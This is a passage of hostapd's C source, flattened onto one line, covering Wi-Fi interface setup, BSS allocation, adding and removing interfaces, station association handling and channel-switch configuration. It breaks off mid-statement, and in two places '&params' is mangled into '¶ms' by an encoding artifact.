wpa_msg(hapd->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); if (interfaces && interfaces->terminate_on_error) eloop_terminate(); return -1; } if (iface->ready_to_start_in_sync) { /* Already in ready and waiting. should never happpen */ return 0; } for (i = 0; i < interfaces->count; i++) { if (interfaces->iface[i]->need_to_start_in_sync && !interfaces->iface[i]->ready_to_start_in_sync) not_ready_in_sync_ifaces++; } /* * Check if this is the last interface, if yes then start all the other * waiting interfaces. If not, add this interface to the waiting list. */ if (not_ready_in_sync_ifaces > 1 && iface->state == HAPD_IFACE_DFS) { /* * If this interface went through CAC, do not synchronize, just * start immediately. */ iface->need_to_start_in_sync = 0; wpa_printf(MSG_INFO, "%s: Finished CAC - bypass sync and start interface", iface->bss[0]->conf->iface); return hostapd_setup_interface_complete_sync(iface, err); } if (not_ready_in_sync_ifaces > 1) { /* need to wait as there are other interfaces still coming up */ iface->ready_to_start_in_sync = 1; wpa_printf(MSG_INFO, "%s: Interface waiting to sync with other interfaces", iface->bss[0]->conf->iface); return 0; } wpa_printf(MSG_INFO, "%s: Last interface to sync - starting all interfaces", iface->bss[0]->conf->iface); iface->need_to_start_in_sync = 0; hostapd_setup_interface_complete_sync(iface, err); for (i = 0; i < interfaces->count; i++) { if (interfaces->iface[i]->need_to_start_in_sync && interfaces->iface[i]->ready_to_start_in_sync) { hostapd_setup_interface_complete_sync( interfaces->iface[i], 0); /* Only once the interfaces are sync started */ interfaces->iface[i]->need_to_start_in_sync = 0; } } return 0; } /** * hostapd_setup_interface - Setup of an interface * @iface: Pointer to interface data. * Returns: 0 on success, -1 on failure * * Initializes the driver interface, validates the configuration, * and sets driver parameters based on the configuration. * Flushes old stations, sets the channel, encryption, * beacons, and WDS links based on the configuration. * * If interface setup requires more time, e.g., to perform HT co-ex scans, ACS, * or DFS operations, this function returns 0 before such operations have been * completed. The pending operations are registered into eloop and will be * completed from eloop callbacks. Those callbacks end up calling * hostapd_setup_interface_complete() once setup has been completed. */ int hostapd_setup_interface(struct hostapd_iface *iface) { int ret; ret = setup_interface(iface); if (ret) { wpa_printf(MSG_ERROR, "%s: Unable to setup interface.", iface->bss[0]->conf->iface); return -1; } return 0; } /** * hostapd_alloc_bss_data - Allocate and initialize per-BSS data * @hapd_iface: Pointer to interface data * @conf: Pointer to per-interface configuration * @bss: Pointer to per-BSS configuration for this BSS * Returns: Pointer to allocated BSS data * * This function is used to allocate per-BSS data structure. This data will be * freed after hostapd_cleanup() is called for it during interface * deinitialization. */ struct hostapd_data * hostapd_alloc_bss_data(struct hostapd_iface *hapd_iface, struct hostapd_config *conf, struct hostapd_bss_config *bss) { struct hostapd_data *hapd; hapd = os_zalloc(sizeof(*hapd)); if (hapd == NULL) return NULL; hapd->new_assoc_sta_cb = hostapd_new_assoc_sta; hapd->iconf = conf; hapd->conf = bss; hapd->iface = hapd_iface; if (conf) hapd->driver = conf->driver; hapd->ctrl_sock = -1; dl_list_init(&hapd->ctrl_dst); dl_list_init(&hapd->nr_db); hapd->dhcp_sock = -1; #ifdef CONFIG_IEEE80211R_AP dl_list_init(&hapd->l2_queue); dl_list_init(&hapd->l2_oui_queue); #endif /* CONFIG_IEEE80211R_AP */ return hapd; } static void hostapd_bss_deinit(struct hostapd_data *hapd) { if (!hapd) return; wpa_printf(MSG_DEBUG, "%s: deinit bss %s", __func__, hapd->conf->iface); hostapd_bss_deinit_no_free(hapd); wpa_msg(hapd->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); hostapd_cleanup(hapd); } void hostapd_interface_deinit(struct hostapd_iface *iface) { int j; wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); if (iface == NULL) return; hostapd_set_state(iface, HAPD_IFACE_DISABLED); #ifdef CONFIG_IEEE80211N #ifdef NEED_AP_MLME hostapd_stop_setup_timers(iface); eloop_cancel_timeout(ap_ht2040_timeout, iface, NULL); #endif /* NEED_AP_MLME */ #endif /* CONFIG_IEEE80211N */ eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); iface->wait_channel_update = 0; #ifdef CONFIG_FST if (iface->fst) { fst_detach(iface->fst); iface->fst = NULL; } #endif /* CONFIG_FST */ for (j = iface->num_bss - 1; j >= 0; j--) { if (!iface->bss) break; hostapd_bss_deinit(iface->bss[j]); } } void hostapd_interface_free(struct hostapd_iface *iface) { size_t j; wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); for (j = 0; j < iface->num_bss; j++) { if (!iface->bss) break; wpa_printf(MSG_DEBUG, "%s: free hapd %p", __func__, iface->bss[j]); os_free(iface->bss[j]); } hostapd_cleanup_iface(iface); } struct hostapd_iface * hostapd_alloc_iface(void) { struct hostapd_iface *hapd_iface; hapd_iface = os_zalloc(sizeof(*hapd_iface)); if (!hapd_iface) return NULL; dl_list_init(&hapd_iface->sta_seen); return hapd_iface; } /** * hostapd_init - Allocate and initialize per-interface data * @config_file: Path to the configuration file * Returns: Pointer to the allocated interface data or %NULL on failure * * This function is used to allocate main data structures for per-interface * data. The allocated data buffer will be freed by calling * hostapd_cleanup_iface(). */ struct hostapd_iface * hostapd_init(struct hapd_interfaces *interfaces, const char *config_file) { struct hostapd_iface *hapd_iface = NULL; struct hostapd_config *conf = NULL; struct hostapd_data *hapd; size_t i; hapd_iface = hostapd_alloc_iface(); if (hapd_iface == NULL) goto fail; hapd_iface->config_fname = os_strdup(config_file); if (hapd_iface->config_fname == NULL) goto fail; conf = interfaces->config_read_cb(hapd_iface->config_fname); if (conf == NULL) goto fail; hapd_iface->conf = conf; hapd_iface->num_bss = conf->num_bss; hapd_iface->bss = os_calloc(conf->num_bss, sizeof(struct hostapd_data *)); if (hapd_iface->bss == NULL) goto fail; for (i = 0; i < conf->num_bss; i++) { hapd = hapd_iface->bss[i] = hostapd_alloc_bss_data(hapd_iface, conf, conf->bss[i]); if (hapd == NULL) goto fail; hapd->msg_ctx = hapd; } return hapd_iface; fail: wpa_printf(MSG_ERROR, "Failed to set up interface with %s", config_file); if (conf) hostapd_config_free(conf); if (hapd_iface) { os_free(hapd_iface->config_fname); os_free(hapd_iface->bss); wpa_printf(MSG_DEBUG, "%s: free iface %p", __func__, hapd_iface); os_free(hapd_iface); } return NULL; } static int ifname_in_use(struct hapd_interfaces *interfaces, const char *ifname) { size_t i, j; for (i = 0; i < interfaces->count; i++) { struct hostapd_iface *iface = interfaces->iface[i]; for (j = 0; j < iface->num_bss; j++) { struct hostapd_data *hapd = iface->bss[j]; if (os_strcmp(ifname, hapd->conf->iface) == 0) return 1; } } return 0; } /** * hostapd_interface_init_bss - Read configuration file and init BSS data * * This function is used to parse configuration file for a BSS. This BSS is * added to an existing interface sharing the same radio (if any) or a new * interface is created if this is the first interface on a radio. This * allocate memory for the BSS. No actual driver operations are started. * * This is similar to hostapd_interface_init(), but for a case where the * configuration is used to add a single BSS instead of all BSSes for a radio. */ struct hostapd_iface * hostapd_interface_init_bss(struct hapd_interfaces *interfaces, const char *phy, const char *config_fname, int debug) { struct hostapd_iface *new_iface = NULL, *iface = NULL; struct hostapd_data *hapd; int k; size_t i, bss_idx; if (!phy || !*phy) return NULL; for (i = 0; i < interfaces->count; i++) { if (os_strcmp(interfaces->iface[i]->phy, phy) == 0) { iface = interfaces->iface[i]; break; } } wpa_printf(MSG_INFO, "Configuration file: %s (phy %s)%s", config_fname, phy, iface ? "" : " --> new PHY"); if (iface) { struct hostapd_config *conf; struct hostapd_bss_config **tmp_conf; struct hostapd_data **tmp_bss; struct hostapd_bss_config *bss; const char *ifname; /* Add new BSS to existing iface */ conf = interfaces->config_read_cb(config_fname); if (conf == NULL) return NULL; if (conf->num_bss > 1) { wpa_printf(MSG_ERROR, "Multiple BSSes specified in BSS-config"); hostapd_config_free(conf); return NULL; } ifname = conf->bss[0]->iface; if (ifname[0] != '\0' && ifname_in_use(interfaces, ifname)) { wpa_printf(MSG_ERROR, "Interface name %s already in use", ifname); hostapd_config_free(conf); return NULL; } tmp_conf = os_realloc_array( iface->conf->bss, iface->conf->num_bss + 1, sizeof(struct hostapd_bss_config *)); tmp_bss = os_realloc_array(iface->bss, iface->num_bss + 1, sizeof(struct hostapd_data *)); if (tmp_bss) iface->bss = tmp_bss; if (tmp_conf) { iface->conf->bss = tmp_conf; iface->conf->last_bss = tmp_conf[0]; } if (tmp_bss == NULL || tmp_conf == NULL) { hostapd_config_free(conf); return NULL; } bss = iface->conf->bss[iface->conf->num_bss] = conf->bss[0]; iface->conf->num_bss++; hapd = hostapd_alloc_bss_data(iface, iface->conf, bss); if (hapd == NULL) { iface->conf->num_bss--; hostapd_config_free(conf); return NULL; } iface->conf->last_bss = bss; iface->bss[iface->num_bss] = hapd; hapd->msg_ctx = hapd; bss_idx = iface->num_bss++; conf->num_bss--; conf->bss[0] = NULL; hostapd_config_free(conf); } else { /* Add a new iface with the first BSS */ new_iface = iface = hostapd_init(interfaces, config_fname); if (!iface) return NULL; os_strlcpy(iface->phy, phy, sizeof(iface->phy)); iface->interfaces = interfaces; bss_idx = 0; } for (k = 0; k < debug; k++) { if (iface->bss[bss_idx]->conf->logger_stdout_level > 0) iface->bss[bss_idx]->conf->logger_stdout_level--; } if (iface->conf->bss[bss_idx]->iface[0] == '\0' && !hostapd_drv_none(iface->bss[bss_idx])) { wpa_printf(MSG_ERROR, "Interface name not specified in %s", config_fname); if (new_iface) hostapd_interface_deinit_free(new_iface); return NULL; } return iface; } void hostapd_interface_deinit_free(struct hostapd_iface *iface) { const struct wpa_driver_ops *driver; void *drv_priv; wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); if (iface == NULL) return; wpa_printf(MSG_DEBUG, "%s: num_bss=%u conf->num_bss=%u", __func__, (unsigned int) iface->num_bss, (unsigned int) iface->conf->num_bss); driver = iface->bss[0]->driver; drv_priv = iface->bss[0]->drv_priv; hostapd_interface_deinit(iface); wpa_printf(MSG_DEBUG, "%s: driver=%p drv_priv=%p -> hapd_deinit", __func__, driver, drv_priv); if (driver && driver->hapd_deinit && drv_priv) { driver->hapd_deinit(drv_priv); iface->bss[0]->drv_priv = NULL; } hostapd_interface_free(iface); } static void hostapd_deinit_driver(const struct wpa_driver_ops *driver, void *drv_priv, struct hostapd_iface *hapd_iface) { size_t j; wpa_printf(MSG_DEBUG, "%s: driver=%p drv_priv=%p -> hapd_deinit", __func__, driver, drv_priv); if (driver && driver->hapd_deinit && drv_priv) { driver->hapd_deinit(drv_priv); for (j = 0; j < hapd_iface->num_bss; j++) { wpa_printf(MSG_DEBUG, "%s:bss[%d]->drv_priv=%p", __func__, (int) j, hapd_iface->bss[j]->drv_priv); if (hapd_iface->bss[j]->drv_priv == drv_priv) hapd_iface->bss[j]->drv_priv = NULL; } } } int hostapd_enable_iface(struct hostapd_iface *hapd_iface) { size_t j; if (hapd_iface->bss[0]->drv_priv != NULL) { wpa_printf(MSG_ERROR, "Interface %s already enabled", hapd_iface->conf->bss[0]->iface); return -1; } wpa_printf(MSG_DEBUG, "Enable interface %s", hapd_iface->conf->bss[0]->iface); for (j = 0; j < hapd_iface->num_bss; j++) hostapd_set_security_params(hapd_iface->conf->bss[j], 1); if (hostapd_config_check(hapd_iface->conf, 1) < 0) { wpa_printf(MSG_INFO, "Invalid configuration - cannot enable"); return -1; } if (hapd_iface->interfaces == NULL || hapd_iface->interfaces->driver_init == NULL || hapd_iface->interfaces->driver_init(hapd_iface)) return -1; if (hostapd_setup_interface(hapd_iface)) { hostapd_deinit_driver(hapd_iface->bss[0]->driver, hapd_iface->bss[0]->drv_priv, hapd_iface); return -1; } return 0; } int hostapd_reload_iface(struct hostapd_iface *hapd_iface) { size_t j; wpa_printf(MSG_DEBUG, "Reload interface %s", hapd_iface->conf->bss[0]->iface); for (j = 0; j < hapd_iface->num_bss; j++) hostapd_set_security_params(hapd_iface->conf->bss[j], 1); if (hostapd_config_check(hapd_iface->conf, 1) < 0) { wpa_printf(MSG_ERROR, "Updated configuration is invalid"); return -1; } hostapd_clear_old(hapd_iface); for (j = 0; j < hapd_iface->num_bss; j++) hostapd_reload_bss(hapd_iface->bss[j]); return 0; } int hostapd_disable_iface(struct hostapd_iface *hapd_iface) { size_t j; const struct wpa_driver_ops *driver; void *drv_priv; if (hapd_iface == NULL) return -1; if (hapd_iface->bss[0]->drv_priv == NULL) { wpa_printf(MSG_INFO, "Interface %s already disabled", hapd_iface->conf->bss[0]->iface); return -1; } wpa_msg(hapd_iface->bss[0]->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); driver = hapd_iface->bss[0]->driver; drv_priv = hapd_iface->bss[0]->drv_priv; hapd_iface->driver_ap_teardown = !!(hapd_iface->drv_flags & WPA_DRIVER_FLAGS_AP_TEARDOWN_SUPPORT); /* same as hostapd_interface_deinit without deinitializing ctrl-iface */ for (j = 0; j < hapd_iface->num_bss; j++) { struct hostapd_data *hapd = hapd_iface->bss[j]; hostapd_bss_deinit_no_free(hapd); hostapd_free_hapd_data(hapd); } hostapd_deinit_driver(driver, drv_priv, hapd_iface); /* From hostapd_cleanup_iface: These were initialized in * hostapd_setup_interface and hostapd_setup_interface_complete */ hostapd_cleanup_iface_partial(hapd_iface); wpa_printf(MSG_DEBUG, "Interface %s disabled", hapd_iface->bss[0]->conf->iface); hostapd_set_state(hapd_iface, HAPD_IFACE_DISABLED); return 0; } static struct hostapd_iface * hostapd_iface_alloc(struct hapd_interfaces *interfaces) { struct hostapd_iface **iface, *hapd_iface; iface = os_realloc_array(interfaces->iface, interfaces->count + 1, sizeof(struct hostapd_iface *)); if (iface == NULL) return NULL; interfaces->iface = iface; hapd_iface = interfaces->iface[interfaces->count] = hostapd_alloc_iface(); if (hapd_iface == NULL) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory for " "the interface", __func__); return NULL; } interfaces->count++; hapd_iface->interfaces = interfaces; return hapd_iface; } static struct hostapd_config * hostapd_config_alloc(struct hapd_interfaces *interfaces, const char *ifname, const char *ctrl_iface, const char *driver) { struct hostapd_bss_config *bss; struct hostapd_config *conf; /* Allocates memory for bss and conf */ conf = hostapd_config_defaults(); if (conf == NULL) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory for " "configuration", __func__); return NULL; } if (driver) { int j; for (j = 0; wpa_drivers[j]; j++) { if (os_strcmp(driver, wpa_drivers[j]->name) == 0) { conf->driver = wpa_drivers[j]; goto skip; } } wpa_printf(MSG_ERROR, "Invalid/unknown driver '%s' - registering the default driver", driver); } conf->driver = wpa_drivers[0]; if (conf->driver == NULL) { wpa_printf(MSG_ERROR, "No driver wrappers registered!"); hostapd_config_free(conf); return NULL; } skip: bss = conf->last_bss = conf->bss[0]; os_strlcpy(bss->iface, ifname, sizeof(bss->iface)); bss->ctrl_interface = os_strdup(ctrl_iface); if (bss->ctrl_interface == NULL) { hostapd_config_free(conf); return NULL; } /* Reading configuration file skipped, will be done in SET! * From reading the configuration till the end has to be done in * SET */ return conf; } static int hostapd_data_alloc(struct hostapd_iface *hapd_iface, struct hostapd_config *conf) { size_t i; struct hostapd_data *hapd; hapd_iface->bss = os_calloc(conf->num_bss, sizeof(struct hostapd_data *)); if (hapd_iface->bss == NULL) return -1; for (i = 0; i < conf->num_bss; i++) { hapd = hapd_iface->bss[i] = hostapd_alloc_bss_data(hapd_iface, conf, conf->bss[i]); if (hapd == NULL) { while (i > 0) { i--; os_free(hapd_iface->bss[i]); hapd_iface->bss[i] = NULL; } os_free(hapd_iface->bss); hapd_iface->bss = NULL; return -1; } hapd->msg_ctx = hapd; } hapd_iface->conf = conf; hapd_iface->num_bss = conf->num_bss; return 0; } int hostapd_add_iface(struct hapd_interfaces *interfaces, char *buf) { struct hostapd_config *conf = NULL; struct hostapd_iface *hapd_iface = NULL, *new_iface = NULL; struct hostapd_data *hapd; char *ptr; size_t i, j; const char *conf_file = NULL, *phy_name = NULL; if (os_strncmp(buf, "bss_config=", 11) == 0) { char *pos; phy_name = buf + 11; pos = os_strchr(phy_name, ':'); if (!pos) return -1; *pos++ = '\0'; conf_file = pos; if (!os_strlen(conf_file)) return -1; hapd_iface = hostapd_interface_init_bss(interfaces, phy_name, conf_file, 0); if (!hapd_iface) return -1; for (j = 0; j < interfaces->count; j++) { if (interfaces->iface[j] == hapd_iface) break; } if (j == interfaces->count) { struct hostapd_iface **tmp; tmp = os_realloc_array(interfaces->iface, interfaces->count + 1, sizeof(struct hostapd_iface *)); if (!tmp) { hostapd_interface_deinit_free(hapd_iface); return -1; } interfaces->iface = tmp; interfaces->iface[interfaces->count++] = hapd_iface; new_iface = hapd_iface; } if (new_iface) { if (interfaces->driver_init(hapd_iface)) goto fail; if (hostapd_setup_interface(hapd_iface)) { hostapd_deinit_driver( hapd_iface->bss[0]->driver, hapd_iface->bss[0]->drv_priv, hapd_iface); goto fail; } } else { /* Assign new BSS with bss[0]'s driver info */ hapd = hapd_iface->bss[hapd_iface->num_bss - 1]; hapd->driver = hapd_iface->bss[0]->driver; hapd->drv_priv = hapd_iface->bss[0]->drv_priv; os_memcpy(hapd->own_addr, hapd_iface->bss[0]->own_addr, ETH_ALEN); if (start_ctrl_iface_bss(hapd) < 0 || (hapd_iface->state == HAPD_IFACE_ENABLED && hostapd_setup_bss(hapd, -1))) { hostapd_cleanup(hapd); hapd_iface->bss[hapd_iface->num_bss - 1] = NULL; hapd_iface->conf->num_bss--; hapd_iface->num_bss--; wpa_printf(MSG_DEBUG, "%s: free hapd %p %s", __func__, hapd, hapd->conf->iface); hostapd_config_free_bss(hapd->conf); hapd->conf = NULL; os_free(hapd); return -1; } } hostapd_owe_update_trans(hapd_iface); return 0; } ptr = os_strchr(buf, ' '); if (ptr == NULL) return -1; *ptr++ = '\0'; if (os_strncmp(ptr, "config=", 7) == 0) conf_file = ptr + 7; for (i = 0; i < interfaces->count; i++) { if (!os_strcmp(interfaces->iface[i]->conf->bss[0]->iface, buf)) { wpa_printf(MSG_INFO, "Cannot add interface - it " "already exists"); return -1; } } hapd_iface = hostapd_iface_alloc(interfaces); if (hapd_iface == NULL) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " "for interface", __func__); goto fail; } new_iface = hapd_iface; if (conf_file && interfaces->config_read_cb) { conf = interfaces->config_read_cb(conf_file); if (conf && conf->bss) os_strlcpy(conf->bss[0]->iface, buf, sizeof(conf->bss[0]->iface)); } else { char *driver = os_strchr(ptr, ' '); if (driver) *driver++ = '\0'; conf = hostapd_config_alloc(interfaces, buf, ptr, driver); } if (conf == NULL || conf->bss == NULL) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " "for configuration", __func__); goto fail; } if (hostapd_data_alloc(hapd_iface, conf) < 0) { wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " "for hostapd", __func__); goto fail; } conf = NULL; if (start_ctrl_iface(hapd_iface) < 0) goto fail; wpa_printf(MSG_INFO, "Add interface '%s'", hapd_iface->conf->bss[0]->iface); return 0; fail: if (conf) hostapd_config_free(conf); if (hapd_iface) { if (hapd_iface->bss) { for (i = 0; i < hapd_iface->num_bss; i++) { hapd = hapd_iface->bss[i]; if (!hapd) continue; if (hapd_iface->interfaces && hapd_iface->interfaces->ctrl_iface_deinit) hapd_iface->interfaces-> ctrl_iface_deinit(hapd); wpa_printf(MSG_DEBUG, "%s: free hapd %p (%s)", __func__, hapd_iface->bss[i], hapd->conf->iface); hostapd_cleanup(hapd); os_free(hapd); hapd_iface->bss[i] = NULL; } os_free(hapd_iface->bss); hapd_iface->bss = NULL; } if (new_iface) { interfaces->count--; interfaces->iface[interfaces->count] = NULL; } hostapd_cleanup_iface(hapd_iface); } return -1; } static int hostapd_remove_bss(struct hostapd_iface *iface, unsigned int idx) { size_t i; wpa_printf(MSG_INFO, "Remove BSS '%s'", iface->conf->bss[idx]->iface); /* Remove hostapd_data only if it has already been initialized */ if (idx < iface->num_bss) { struct hostapd_data *hapd = iface->bss[idx]; hostapd_bss_deinit(hapd); wpa_printf(MSG_DEBUG, "%s: free hapd %p (%s)", __func__, hapd, hapd->conf->iface); hostapd_config_free_bss(hapd->conf); hapd->conf = NULL; os_free(hapd); iface->num_bss--; for (i = idx; i < iface->num_bss; i++) iface->bss[i] = iface->bss[i + 1]; } else { hostapd_config_free_bss(iface->conf->bss[idx]); iface->conf->bss[idx] = NULL; } iface->conf->num_bss--; for (i = idx; i < iface->conf->num_bss; i++) iface->conf->bss[i] = iface->conf->bss[i + 1]; return 0; } int hostapd_remove_iface(struct hapd_interfaces *interfaces, char *buf) { struct hostapd_iface *hapd_iface; size_t i, j, k = 0; for (i = 0; i < interfaces->count; i++) { hapd_iface = interfaces->iface[i]; if (hapd_iface == NULL) return -1; if (!os_strcmp(hapd_iface->conf->bss[0]->iface, buf)) { wpa_printf(MSG_INFO, "Remove interface '%s'", buf); hapd_iface->driver_ap_teardown = !!(hapd_iface->drv_flags & WPA_DRIVER_FLAGS_AP_TEARDOWN_SUPPORT); hostapd_interface_deinit_free(hapd_iface); k = i; while (k < (interfaces->count - 1)) { interfaces->iface[k] = interfaces->iface[k + 1]; k++; } interfaces->count--; return 0; } for (j = 0; j < hapd_iface->conf->num_bss; j++) { if (!os_strcmp(hapd_iface->conf->bss[j]->iface, buf)) { hapd_iface->driver_ap_teardown = !(hapd_iface->drv_flags & WPA_DRIVER_FLAGS_AP_TEARDOWN_SUPPORT); return hostapd_remove_bss(hapd_iface, j); } } } return -1; } /** * hostapd_new_assoc_sta - Notify that a new station associated with the AP * @hapd: Pointer to BSS data * @sta: Pointer to the associated STA data * @reassoc: 1 to indicate this was a re-association; 0 = first association * * This function will be called whenever a station associates with the AP. It * can be called from ieee802_11.c for drivers that export MLME to hostapd and * from drv_callbacks.c based on driver events for drivers that take care of * management frames (IEEE 802.11 authentication and association) internally. */ void hostapd_new_assoc_sta(struct hostapd_data *hapd, struct sta_info *sta, int reassoc) { if (hapd->tkip_countermeasures) { hostapd_drv_sta_deauth(hapd, sta->addr, WLAN_REASON_MICHAEL_MIC_FAILURE); return; } hostapd_prune_associations(hapd, sta->addr); ap_sta_clear_disconnect_timeouts(hapd, sta); /* IEEE 802.11F (IAPP) */ if (hapd->conf->ieee802_11f) iapp_new_station(hapd->iapp, sta); #ifdef CONFIG_P2P if (sta->p2p_ie == NULL && !sta->no_p2p_set) { sta->no_p2p_set = 1; hapd->num_sta_no_p2p++; if (hapd->num_sta_no_p2p == 1) hostapd_p2p_non_p2p_sta_connected(hapd); } #endif /* CONFIG_P2P */ /* Start accounting here, if IEEE 802.1X and WPA are not used. * IEEE 802.1X/WPA code will start accounting after the station has * been authorized. */ if (!hapd->conf->ieee802_1x && !hapd->conf->wpa && !hapd->conf->osen) { ap_sta_set_authorized(hapd, sta, 1); os_get_reltime(&sta->connected_time); accounting_sta_start(hapd, sta); } /* Start IEEE 802.1X authentication process for new stations */ ieee802_1x_new_station(hapd, sta); if (reassoc) { if (sta->auth_alg != WLAN_AUTH_FT && sta->auth_alg != WLAN_AUTH_FILS_SK && sta->auth_alg != WLAN_AUTH_FILS_SK_PFS && sta->auth_alg != WLAN_AUTH_FILS_PK && !(sta->flags & (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS))) wpa_auth_sm_event(sta->wpa_sm, WPA_REAUTH); } else wpa_auth_sta_associated(hapd->wpa_auth, sta->wpa_sm); if (hapd->iface->drv_flags & WPA_DRIVER_FLAGS_WIRED) { if (eloop_cancel_timeout(ap_handle_timer, hapd, sta) > 0) { wpa_printf(MSG_DEBUG, "%s: %s: canceled wired ap_handle_timer timeout for " MACSTR, hapd->conf->iface, __func__, MAC2STR(sta->addr)); } } else if (!(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_INACTIVITY_TIMER)) { wpa_printf(MSG_DEBUG, "%s: %s: reschedule ap_handle_timer timeout for " MACSTR " (%d seconds - ap_max_inactivity)", hapd->conf->iface, __func__, MAC2STR(sta->addr), hapd->conf->ap_max_inactivity); eloop_cancel_timeout(ap_handle_timer, hapd, sta); eloop_register_timeout(hapd->conf->ap_max_inactivity, 0, ap_handle_timer, hapd, sta); } } const char * hostapd_state_text(enum hostapd_iface_state s) { switch (s) { case HAPD_IFACE_UNINITIALIZED: return "UNINITIALIZED"; case HAPD_IFACE_DISABLED: return "DISABLED"; case HAPD_IFACE_COUNTRY_UPDATE: return "COUNTRY_UPDATE"; case HAPD_IFACE_ACS: return "ACS"; case HAPD_IFACE_HT_SCAN: return "HT_SCAN"; case HAPD_IFACE_DFS: return "DFS"; case HAPD_IFACE_ENABLED: return "ENABLED"; } return "UNKNOWN"; } void hostapd_set_state(struct hostapd_iface *iface, enum hostapd_iface_state s) { wpa_printf(MSG_INFO, "%s: interface state %s->%s", iface->conf ? iface->conf->bss[0]->iface : "N/A", hostapd_state_text(iface->state), hostapd_state_text(s)); iface->state = s; } int hostapd_csa_in_progress(struct hostapd_iface *iface) { unsigned int i; for (i = 0; i < iface->num_bss; i++) if (iface->bss[i]->csa_in_progress) return 1; return 0; } #ifdef NEED_AP_MLME static void free_beacon_data(struct beacon_data *beacon) { os_free(beacon->head); beacon->head = NULL; os_free(beacon->tail); beacon->tail = NULL; os_free(beacon->probe_resp); beacon->probe_resp = NULL; os_free(beacon->beacon_ies); beacon->beacon_ies = NULL; os_free(beacon->proberesp_ies); beacon->proberesp_ies = NULL; os_free(beacon->assocresp_ies); beacon->assocresp_ies = NULL; } static int hostapd_build_beacon_data(struct hostapd_data *hapd, struct beacon_data *beacon) { struct wpabuf *beacon_extra, *proberesp_extra, *assocresp_extra; struct wpa_driver_ap_params params; int ret; os_memset(beacon, 0, sizeof(*beacon)); ret = ieee802_11_build_ap_params(hapd, ¶ms); if (ret < 0) return ret; ret = hostapd_build_ap_extra_ies(hapd, &beacon_extra, &proberesp_extra, &assocresp_extra); if (ret) goto free_ap_params; ret = -1; beacon->head = os_memdup(params.head, params.head_len); if (!beacon->head) goto free_ap_extra_ies; beacon->head_len = params.head_len; beacon->tail = os_memdup(params.tail, params.tail_len); if (!beacon->tail) goto free_beacon; beacon->tail_len = params.tail_len; if (params.proberesp != NULL) { beacon->probe_resp = os_memdup(params.proberesp, params.proberesp_len); if (!beacon->probe_resp) goto free_beacon; beacon->probe_resp_len = params.proberesp_len; } /* copy the extra ies */ if (beacon_extra) { beacon->beacon_ies = os_memdup(beacon_extra->buf, wpabuf_len(beacon_extra)); if (!beacon->beacon_ies) goto free_beacon; beacon->beacon_ies_len = wpabuf_len(beacon_extra); } if (proberesp_extra) { beacon->proberesp_ies = os_memdup(proberesp_extra->buf, wpabuf_len(proberesp_extra)); if (!beacon->proberesp_ies) goto free_beacon; beacon->proberesp_ies_len = wpabuf_len(proberesp_extra); } if (assocresp_extra) { beacon->assocresp_ies = os_memdup(assocresp_extra->buf, wpabuf_len(assocresp_extra)); if (!beacon->assocresp_ies) goto free_beacon; beacon->assocresp_ies_len = wpabuf_len(assocresp_extra); } ret = 0; free_beacon: /* if the function fails, the caller should not free beacon data */ if (ret) free_beacon_data(beacon); free_ap_extra_ies: hostapd_free_ap_extra_ies(hapd, beacon_extra, proberesp_extra, assocresp_extra); free_ap_params: ieee802_11_free_ap_params(¶ms); return ret; } /* * TODO: This flow currently supports only changing channel and width within * the same hw_mode. Any other changes to MAC parameters or provided settings * are not supported. */ static int hostapd_change_config_freq(struct hostapd_data *hapd, struct hostapd_config *conf, struct hostapd_freq_params *params, struct hostapd_freq_params *old_params) { int channel; if (!params->channel) { /* check if the new channel is supported by hw */ params->channel = hostapd_hw_get_channel(hapd, params->freq); } channel = params->channel; if (!channel) return -1; /* if a pointer to old_params is provided we save previous state */ if (old_params && hostapd_set_freq_params(old_params, conf->hw_mode, hostapd_hw_get_freq(hapd, conf->channel), conf->channel, conf->ieee80211n, conf->ieee80211ac, conf->secondary_channel, conf->vht_oper_chwidth, conf->vht_oper_centr_freq_seg0_idx, conf->vht_oper_centr_freq_seg1_idx, conf->vht_capab)) return -1; switch (params->bandwidth) { case 0: case 20: case 40: conf->vht_oper_chwidth = VHT_CHANWIDTH_USE_HT; break; case 80: if (params->center_freq2) conf->vht_oper_chwidth = VHT_CHANWIDTH_80P80MHZ; else conf->vht_oper_chwidth = VHT_CHANWIDTH_80MHZ; break; case 160: conf->vht_oper_chwidth = VHT_CHANWIDTH_160MHZ; break; default: return -1; } conf->channel = channel; conf->ieee80211n = params->ht_enabled; conf->secondary_channel = params->sec_channel_offset; ieee80211_freq_to_chan(params->center_freq1, &conf->vht_oper_centr_freq_seg0_idx); ieee80211_freq_to_chan(params->center_freq2, &conf->vht_oper_centr_freq_seg1_idx); /* TODO: maybe call here hostapd_config_check here? */ return 0; } static int hostapd_fill_csa_settings(struct hostapd_data *hapd, struct csa_settings *settings) { struct hostapd_iface *iface = hapd->iface; struct hostapd_freq_params old_freq; int ret; u8 chan, vht_bandwidth; os_memset(&old_freq, 0, sizeof(old_freq)); if (!iface || !iface->freq || hapd->csa_in_progress) return -1; switch (settings->freq_params.bandwidth) { case 80: if (settings->freq_params.center_freq2) vht_bandwidth = VHT_CHANWIDTH_80P80MHZ; else vht_bandwidth = VHT_CHANWIDTH_80MHZ; break; case 160: vht_bandwidth = VHT_CHANWIDTH_160MHZ; break; default: vht_bandwidth = VHT_CHANWIDTH_USE_HT; break; } if (ieee80211_freq_to_channel_ext( settings->freq_params.freq, settings->freq_params.sec_channel_offset, vht_bandwidth, &hapd->iface->cs_oper_class, &chan) == NUM_HOSTAPD_MODES) { wpa_printf(MSG_DEBUG, "invalid frequency for channel switch (freq=%d, sec_channel_offset=%d, vht_enabled=%d)", settings->freq_params.freq, settings->freq_params.sec_channel_offset, settings->freq_params.vht_enabled); return -1; } settings->freq_params.channel = chan; ret = hostapd_change_config_freq(iface->bss[0], iface->conf, &settings->freq_params, &old_freq); if (ret) return ret; ret = 